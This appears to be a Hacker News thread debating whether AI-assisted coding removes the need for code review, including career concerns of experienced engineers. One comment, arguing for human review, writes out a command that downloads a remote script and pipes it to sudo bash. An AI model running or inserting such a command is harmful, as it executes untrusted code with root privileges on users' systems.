> You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead.
Maybe for a personal project but this doesn't work in a multi-dev environment with paying customers. In my experience, paying attention to architecture and the code itself results in a much more pliable application that can be evolved.
I'll caveat my statement, with AI ready repos. Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc.
Established repos are harder because
a) the marginal cost of something going wrong is much higher
b) there's more dependencies
c) this makes it harder to 'comprehensively' ensure the AI didn't mess anything up
I say this in the article
> There's no "right answer." The only way to create your best system is to create it yourself by being in the loop. Best is biased by taste and experience. Experiment, iterate, and discover what works for you.
Try pushing the boundary. It's like figuring out the minimum amount of sleep you need. You undersleep and oversleep a couple times, but you end up with a good idea.
To be clear, I'm not advocating for canonical 'vibe coding'. Just that what it means to be a good engineer has changed again.
1) Being able to quickly create a mental map of code at the speed of changes,
2) debugging and refactoring
3) prompting,
4) and ensuring everything works (verifiability)
are now the most valuable skills.
We should also focus more on the derivative than our point in time.
> Being able to quickly create a mental map of code at the speed of changes
I get the feeling you're intentionally being a parody with that line.
> and ensuring everything works (verifiability) are now the most valuable skills.
Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?
My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?
> We should also focus more on the derivative than our point in time.
So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".
Extremely depressing to see this happening to the craft I used to love.
It's doesn't work...yet. I agree my stomach churns a little at this sentence. However, paying customers care about reliability and performance. Code review helps that today, but it's only a matter of time before it is more performative than useful in serving those goals at the cost of velocity.
How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and use cases etc.
When will AI be ready? Microsoft tried to push AI into big enterprise, Anthropic is doing a better job -but its all still in infancy
Personally for me I hope it won't be ready for another 10 years so I can retire before it takes over :)
I remember when folks on HN all called this AI stuff made up
As a guy in his mid-forties, I sympathize with that sentiment.
I do think you're missing how this will likely go down in practice, though. Those giant codebases with years of domain rules are all legacy now. The question is how quickly a new AI codebase could catch up to that code base and overtake it, with all the AI-compatibility best practices baked in. Once that happens, there is no value in that legacy code.
Any prognostication is a fool's errand, but I wouldn't go long on those giant codebases.
Yeah agreed - It all depends on how quickly AI (or more aptly, ai driven work done by humans hoping to make a buck) starts replacing real chunks of production workflows
“prediction is hard especially about the future” - yogi berra
As a hedge - I have personally dived deep into AI coding, actually have been for 3 years now - I’ve even launched 2 AI startups and working on a third - but its all so unpredictable and hardly lucrative yet
As an over 50 year old - I’m a clear target for replacement by AI
Thats the problem, the most “noise” regarding AI is made by juniors who are wowed by the ability to vibe code some fun “sideproject” React CRUD apps, like compound interest calculators or PDF converters.
No mention of the results when targeting bigger, more complex projects, that require maintainability, sound architectural decisions, etc… which is actually the bread and butter of SW engineering and where the big bucks get made.
>>like compound interest calculators or PDF converters.
Caught you! You have been on HN very actively the last days, because these were exactly the projects in "Show HN: .." category and you would not be able to tell them if you wouldnt have spent your whole time here :-D
This is what people were saying about Rails 20 years ago: it wows the kids who use it to set up a CRUD website quickly but fails at anything larger-scale. They were kind of right in the sense that engineering a large complex system with Rails doesn't end up being particularly easier than with Plone or Mason or what have you. Maybe this will just be Yet Another Framework.
Ruby OnRails is an interesting hype counter point.
A substantial number of the breathless LLM hype results come, in my estimation, quicker and better as 15 min RoR tutorials. [Fire up a calculator (from a library), a pretty visualization (from a js library), add some persistence (baked in DB, webhost), customize navigation … presto! You actually built a personal application.]
Fundamental complexity, engineering, scaling gotchyas, accessibility needs, customer insanity aren’t addressed. RoR optimizes for some things, like any other optimization that’s not always a meaningful.
LLMs have undeniable utility, natural interaction is amazing, and hunting in Reddit, stackoverflow, and MSDN forums ‘manually’ isn’t a virtue… But when the VC subsidies stop and the psychoses get proper names and the right kind of egg hits the right kind of face over unreviewed code, who knows, maybe we can make a fun hype cycle called “Actual Engineering” (AE®).
I'm currently in a strange position where I am being that developer with 15+ years of industry experience managing a project that's been taken over by a young AI/vibe-code team (against my advise) that plans to do complete rewrite in a low-code service.
Project was started in late 00s so it has substantial amount of business logic, rules and decisions. Maybe I'm being an old man shouting at the clouds, but I assume (or hope?) it would fail to deliver whatever they promised to the CEO.
So, I guess I'll see the result of this shift soon enough - hopefully at a different company by the time AI-people are done.
The problem is, feedback cycles for projects are long. Like 1-10 years depending on the nature and environment. As the saying goes, the market can remain irrational longer than you can remain solvent.
Maybe the deed is done here, and I'd agree it's not particularly fun, but you could still think about what you can bring to the table in situations like this. Can you work on shortening these pesky feedback cycles? Can you help the team (if they even accept it) with _some_ degree of engineering? It might not be the last time this happens.
I think right now we're seeing some weird stuff going on, but I think it hasn't even properly started yet. Remember when pretty much every company went "agile"? In most cases I've seen they didn't, just wasting time chasing miracles with principles and methodologies few people understand deeply enough to apply. Yet this went on for, what, 10 years?
How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and use cases etc.
At most of the companies I've worked at the development team is more like a cluster of individuals who all happen to be contributing to a shared codebase than anything resembling an actual team who collaborate on a shared goal. AI-assisted engineering would have helped massively because the AI would be looking outside of the myopic view any developer who is only focused on their tiny domain in the bigger whole cared about.
Admittedly though, on a genuinely good team it'll be less useful for a long time.
It's still new, but it's useful now. I'm on the Claude Pro plan personally. I had Claude write a Chrome extension for me personally this morning. It built something working, close to a MVP, then I hit the Claude Pro limit.
I have access to Claude Code at work. I integrated it with IntelliJ and let it rip on a legacy codebase that uses two different programming languages plus one of the smaller SCADA platforms plus hardware logic in a proprietary format used by a vendor tool. It was mostly right, probably 80-90%, had a couple mis-understandings. No documentation, I didn't really give it much help, it just kind of...figured it out.
It will be very helpful for refactoring the codebase in the direction we were planning on going, both from the design and maybe implementation perspectives. It's not going to replace anybody, because the product requires having a deep understanding across many disciplines and other external products, and we need technical people to work outside the team with the larger org.
My thinking changes every week. I think it's a mistake to blindly trust the output of the tool. I think it's a mistake to not at least try incorporating it ASAP, just to try it out and take advantage of the tools that everybody else will be adopting or has adopted.
I'm more curious about the impacts on the web: where is the content going to come from? We've seen the downward StackOverflow trend, will people still ask/answer questions there? If not, how will the LLMs learn? I think the adoption of LLMs will eventually drive the adoption of digital IDs. It will just take time.
Na. Most successful startups don't worry about super tight code up front and hack the shit out of something and support tens of thousands of user with completely garbage code and architecture.
I know this because I am at one now making an ungodly amount of money with 50k active users a day on a complete mudball monothilic node + react + postgres app used by multiple Fortune 100 companies.
Maybe for a personal project but this doesn't work in a multi-dev environment with paying customers. In my experience, paying attention to architecture and the code itself results in a much more pliable application that can be evolved.